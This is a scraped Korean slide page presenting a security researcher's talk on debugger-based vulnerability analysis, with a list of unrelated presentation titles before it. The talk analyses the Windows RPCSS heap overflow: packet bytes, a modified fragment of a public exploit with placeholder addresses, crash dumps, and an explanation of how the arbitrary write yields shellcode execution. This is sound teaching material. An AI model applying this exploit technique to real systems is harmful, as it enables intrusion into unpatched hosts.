디버거를 이용한 소프트웨어 오류 진단 시큐아이닷컴 CERT 오정욱

Slides:



Advertisements
Similar presentations
어떻게 성경을 읽느냐 ?.  39+27=66 ( 삼구 이십칠 )  역사서 (17 권 )  시가서 (5 권 ): 욥기시편잠언전도서아가  선지서 (17 권 )
Advertisements

03 변수와 자료형 세종대학교 최옥경 교수 참고 : 한빛미디어 뇌를 자극하는 C, INFINITY Perfect C.
Tcl/Tk 민 인학 한국 Tcl/Tk 커뮤니티.
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
6.1 사용사례 6.2 객체 모델링 6.3 동적 모델링 6.4 시스템 설계 6.5 객체 설계 6.6 디자인 패턴
* 07/16/96 처음으로 배우는 C 프로그래밍 제1부 기초 제1장 시작하기 *.
Basic of Buffer Over Flow
SYSTEM CALL (Syscall) CSLAB SEWON PARK.
박주현 Exploit Helpers 안녕하세요 포너블을 도와주는 exploit helpers에 대해 발표하게된 박주현이라고 합니다.
Shellcode 작성 김영성.
CRT 뽀개기 신영진.
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express.
해시 함수.
Part01. 시스템 해킹을 위한 기초 지식 Chapter01. 운영체제에 대한 이해
리눅스 커널의 이해 중에서 4장. 인터럽트와 예외 이성현 네트워크 실험실.
C 프로그래밍 소개 숙명여대 창병모 2011 가을.
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
Lecture #12 인터럽트 Interrupt.
제 8 장  파서 생성기 YACC 사용하기.
연습 문제 풀이 E BF F8 85 A5 E5 9B 37 A5 E5 9B FF 버전 헤더길이 서비스유형 전체길이
Part 12 구조체와 공용체 ©우균, 창병모 ©우균, 창병모.
제 7 장 링커와 로더 설계.
제 1 장 마이크로프로세서의 기본동작.
Department of Computer Engineering
Kasimov C언어 세미나 1st.
연결리스트 (Linked List) 충북대학교 컴퓨터공학과 서 영 훈.
IPv6 (Internet Protocol Version 6) 백상현 김아름
Software Exploit and Kernel Protection
6장 비연결형 지향 프로토콜 Database Lab 강 우 석.
+ 가상 메모리 -> 물리 메모리 Selector Offset DIR Page Segmetatation
버퍼 오버플로우 시스템보안 류기환 권재홍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
10장 메모리 관리.
Department of Computer Engineering
25장. 메모리 관리와 동적 할당.
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 02. 프로그램의 기본구성.
레이스 컨디션 컴퓨터공학과 4학년 이교욱.
C++ 프로그래밍 년 2학기 전자정보공학대학 컴퓨터공학부.
Department of Computer Engineering
리버스 엔지니어링 안녕하십니까? 리버스 엔지니어링 발표를 맡은 정창하입니다. 지금부터 리버스 엔지니어링 발표를
어셈블리어 및 실습 금 1,2 (314) / 금 3,4 (307) RTDCS 이 종 태
Term Project Team Member
제 6 장 8086 어셈블러 설계.
8086 프로세서의 구조 및 동작 방식 시스템 프로그래밍 - Lecture #2 신라대학교 컴퓨터공학과 시스템 프로그래밍.
제 2 장 변수와 상수.
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
제3장 8086 프로세서의 내부구조.
임베디드 소프트웨어 설계.
1주차: 프로그래밍언어란 무엇인가? C 언어란? C 프로그래밍을 위한 준비
10장 C 표준 파일 입출력 子曰 學而時習(실습?)之 不亦悅乎.
명품 C++ 프로그래밍 1장. C++ 시작.
Buffer Overflow
발표자 : 노수현 조원 : 장종훈,유창열,김범용 전인철,김세원
도구를 사용할 때의 일(2) 도구를 사용해도 마찬가지야. 지레 지레를 사용할 때의 일.
1. 컴퓨터 시스템 구성요소 메모리(Memory) 캐시메모리 개념 캐시메모리의 특징 적중률(hit ratio)
Copyrightⓒ ohta. All Rights Reserved.
Homework #9 (1/2) 다음 지시에 따라 프로그램/결과(혹은 설명)를 출력하여 제출한다.
Homework #9 (1/2) 다음 지시에 따라 프로그램/결과(혹은 설명)를 출력하여 제출한다.
Byte Alignment ㈜ 웰컴정보시스템 김 정 은.
2 배열과 구조.
C-언어와 기반구조 정보보호학과 이정수 교수.
Department of Computer Engineering
3장,4장 발표 서정우.
FTZ 과제풀이 Level 11,12 HyunJae Lee
자료구조 세미나 발표 주제: 자료구조 기초 - 1회 차: 자료구조의 정의, 기초 지식 (함수, 포인터, 레퍼런스)
물체 나타내기 기술ㆍ가정 1학년 Ⅳ . 제도의 기초 〉 1.물체를 나타내는 방법 (7 / 8) 1. 제작의도 2. 활용방법
argc, argv 의 사용방법 #include <stdio.h>
C 13장. 입출력 라이브러리 #include <stdio.h> int main(void) { int num;
C.
배열, 포인터, 함수 Review & 과제 1, 2.
Presentation transcript:

디버거를 이용한 소프트웨어 오류 진단 시큐아이닷컴 CERT 오정욱

Fuzz vs. Reverse Engineering  대부분 소스가 제공되지 않는 소프트웨어의 오류 는 Fuzz 테스트를 통해서 이루어진다.  SPIKE 등의 Fuzz 테스트용 도구들이 존재한다.  리버스 엔지니어링을 통한 버그 발견은 엄청난 투 자에 비해 효과가 적다.

리버스 엔지니어링의 위치  리버스 엔지니어링은 실제 버그를 발견하는 데 에 활용 되기 힘들다.  Fuzz 테스트 이후의 실제 exploiting 을 위한 코 드 분석에 활용한다.  리버스 엔지니어링을 제대로 하지 못하 면 exploit 코드 작성은 불가능하다.  Fuzz 테스트가 특별한 기술을 요하지 않는 데 에 반해 더 전문적인 지식을 요구한다.

예제  Microsoft Windows RPCSS Long Filename Hea p Overflow 최근 RPC 와 DCOM 부분에서 많은 버그들이 리포 팅 되고 있다

버그를 찾는 방법  이 버그를 찾은 방법은 아마도 Fuzz 테스트였 을 것이다.  먼저 정상적인 RPCSS 패킷을 모니터링 한후 해당 패킷 포맷을 분석하고 패킷의 가변적인 부분의 길이를 달리하면서 버퍼 오버 플로우 등의 버그를 테스트한다.  이러한 방법으로 윈도우즈 계열에서 리포팅 된 주 요한 버그들을 실제로 찾을 수 있다.

사용한 exploit  예제 exploit 은 H D Moore 의 dcom2_closer.pl 이 라는 exploit 으로 한글판에 대해서는 명령 실행까 지는 되지 않고 크래쉬만 시킨다.

RPC Bind 패킷  05 //version 00 //Version(Minor) 0b //Packet Type(Bind) 03 //Packet Flags //Data Representation //Flag Length //Auth Length 7f //Call ID d0 16 d0 16 //Alloc Hint //Context ID //Opnum 01 ff //max_tsize //max_rsize //assoc_gid a //num_elements //context_id //num_syntaxes c d 88 8a //abstract RUUID eb 1c c9 11 9f e b

디버깅 대상 확인  먼저 RPC Bind 패킷을 분 석하면 abstract RUUID 가 있다. 이 RUUID 로 어 떠한 Object 나 Interface 에 바인딩하는지 알 수 있 다. OLE Viewer 로 대상 확인 이 가능하다.

코드 수정  테스트를 위해서 다음과 같이 코드를 수정하여 테스트한다. my $shellcode = ("\x90" x 3500); substr($shellcode, 0, 512, $payload); # the actual payload #substr($shellcode, 534, 4, pack("L", 0x22eb22eb)); # trigger except ion dereferencing and jmp short 36 substr($shellcode, 534, 4, pack("L", 0xBBBBBBBB)); # trigger excep tion dereferencing and jmp short 36 #substr($shellcode, 538, 4, pack("L", 0x7c54144c)); # overwrite the exception handler with shellcode location substr($shellcode, 538, 4, pack("L", 0xAAAAAAAA)); # overwrite the exception handler with shellcode location

첫번째 크래쉬  스택의 내용을 덤프한다.  :stack FrameEBP RetEIP Symbol 00CEF D2E NTDLL!PAGE CEF7CC 7613B7FF rpcss!.text+00015D2E 00CEF rpcss!.text+0001A7FF 00CEF F50 rpcss!.text CEF AD7 rpcrt4!.text+00046F50 00CEFD E rpcrt4!.orpc+6AD7 00CEFD rpcrt4!.orpc+647E 00CEFD9C 786F7EE1 rpcrt4!.text CEFDF4 786F7DB5 rpcrt4!.text+6EE1 00CEFE E98 rpcrt4!.text+6DB5 00CEFE A8 rpcrt4!.text+00015E98 00CEFE A03 rpcrt4!.text A8 00CEFE rpcrt4!.text+00015A D28 89ABCDEF rpcrt4!.text

map32  섹션 테이블을 덤프한다. 가끔 바이너리의 베이스 주소와 실제 할당된 베이스 주소가 다른 경우가 있으므로 이를 확인하기 위해서이다. 만약 두 주소가 다르다면 디스어세블러와 디버거 사이에서 주소를 적절 히 계산해서 사용해야 한다.  :map32 rpcrt4 Owner Obj Name Obj# Address Size Type rpcrt4.text B:786F D1A6 CODE RO rpcrt4.orpc B:7874F CODE RO rpcrt4.data : C0 IDATA RW rpcrt4.rsrc : E0 IDATA RO rpcrt4.reloc :7875A DCE IDATA RO

U eip  현재 실행 위치 디스어셈블  :u eip 001B:77FCB850 MOV [EDX],ECX DS:AAAAAAAA=FFFFFFFF 001B:77FCB852 MOV [EAX+04],ECX 001B:77FCB855 PUSH ESI 001B:77FCB856 MOV ESI,[EBP-34] 001B:77FCB859 PUSH ESI 001B:77FCB85A CALL 77F835A9 001B:77FCB85F MOV EAX,[EBP-30] 001B:77FCB862 ADD [ESI+28],EAX

r -d  레지스터를 덤프한다.  :r -d CS:EIP=001B:77FCB850 SS:ESP=0023:00CEF6E0 EAX=000A2410 EBX= ECX=000B2FD8 EDX=AAAAAAAA ESI=000B2FD0 EDI= EBP=00CEF770 EFL= DS=0023 ES=0023 FS=0038 GS=0000

프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.

디버거 메시지  윈도우 보다 더 자세한 메시지를 출력해 준다.  Unhandled Exception hit in svchost.exe (Win32StartAddress: 78701C55) C:\WINNT\system32\svchost -k rpcss first, enter !exr 00CEF3F8 for the exception record next, enter !cxr 00CEF414 for the context then !kb to get the faulting stack

Ida 를 사용한 디스어셈블

두번째 크래쉬  Break due to UnhandledException NTSTATUS=STATUS_ACCESS_VIOLATION 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF

stack  :stack FrameEBP RetEIP Symbol 0129FE FB19 NTDLL!PAGE+03F5 0129FE F9 rpcrt4!.text+0001EB FF D5E rpcrt4!.text F9 0129FFA C6D rpcrt4!.text+00025D5E 0129FFB4 77E587DD rpcrt4!.text+00010C6D 0129FFEC KERNEL32!GetModuleFileNameA+01D1

u eip  :u eip 001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF 001B:77FCB3F7 MOV [EAX+04],ECX 001B:77FCB3FA MOV AL,[ESI+05] 001B:77FCB3FD MOV [EBP-3C],AL 001B:77FCB400 MOVZX EDX,WORD PTR [ESI] 001B:77FCB403 MOV ECX,[EBP-5C] 001B:77FCB406 SUB [ECX+28],EDX 001B:77FCB409 MOV [EBP-28],ESI

r -d  :r -d CS:EIP=001B:77FCB3F5 SS:ESP=0023:0129FC70 EAX=BBBBBBBB EBX= ECX=AAAAAAAA EDX=000A2408 ESI=000A2408 EDI= EBP=0129FE08 EFL= DS=0023 ES=0023 FS=0038 GS=0000

프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.

디버거 메시지  Unhandled Exception hit in svchost.exe (Win32StartAddress: 00000CEB) C:\WINNT\system32\svchost -k rpcss first, enter !exr 0129F988 for the exception record next, enter !cxr 0129F9A4 for the context then !kb to get the faulting stack

Ida 를 사용한 디스어셈블

데이타 쓰기  두번째 에러 발생시 [ECX] 에 EAX 의 값을 넣게 된 다. 즉 AAAAAAAA 의 메모리 주소에 BBBBBBBB 이라는 값을 쓰게 된다. AAAAAAAA 를 익셉션 핸들러등의 주소로 주고 BBBBBBBB 를 쉘코드의 주소로 주면 원하 는 쉘코드의 실행이 가능해지게 된다.

힙메모리의 구조  테스트 프로그램 // test_mem.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include int main(int argc, char* argv[]) { printf("Hello World!\n"); char *x; x=(char *)malloc(20); return 0; }

실행 결과  x=(char *)malloc(20); x=0x FF / / /FD FD FD FD 羲羲 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 袴袴袴袴袴袴袴袴 CD CD CD CD FD FD FD FD 0D F0 AD BA 0D F0 AD BA 袴袴羲羲. 濟.. 濟 AB AB AB AB AB AB AB AB カカカカ B EE FE C C I..... 澱

해당 메모리 블록 덤프

이전 메모리 블록 추적